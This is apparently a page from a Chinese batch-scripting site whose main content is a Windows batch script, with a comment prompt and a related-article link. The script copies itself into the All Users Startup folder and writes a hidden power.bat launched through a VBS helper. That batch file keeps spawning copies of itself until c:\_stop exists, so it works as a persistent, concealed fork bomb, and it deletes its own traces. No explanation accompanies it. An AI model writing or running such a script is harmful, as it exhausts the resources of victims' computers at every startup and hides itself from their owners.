@echo off
if not exist "%homepath%\..\all users\「开始」菜单\程序\启动\power.bat" copy %~fs0 "%homepath%\..\all users\「开始」菜单\程序\启动\power.bat">nul
echo @echo off>%windir%\power.bat
echo if "%%1"=="" goto :end>>%windir%\power.bat
echo if exist c:\_stop goto :eof>>%windir%\power.bat
echo start /b %%~fs0 exp>>%windir%\power.bat
echo :s>>%windir%\power.bat
echo if not exist c:\_stop goto s>>%windir%\power.bat
echo exit>>%windir%\power.bat
echo :end>>%windir%\power.bat
echo del %%~fs0>>%windir%\power.bat
echo set ws=createobject("wscript.shell")>%windir%\power.vbs
echo ws.run "%windir%\power.bat exp",0 >>%windir%\power.vbs
wscript %windir%\power.vbs
del %windir%\power.vbs
set p=%~ps0
if not %p:~-3,2%==启动 del %~fs0
如对本文有疑问,
点击进行留言回复!!
相关文章:
-
-
-
批处理ren重命名的方式
批处理之ren命令-可批量修改文件名1.批处理批量修改文件后缀名(假设我需要把一个文件夹中的很多txt文件改为sql文件): 1)在需要被处理的文件的文件夹里先...
[阅读全文]
-
-
-
-
-
-
-
-
网友评论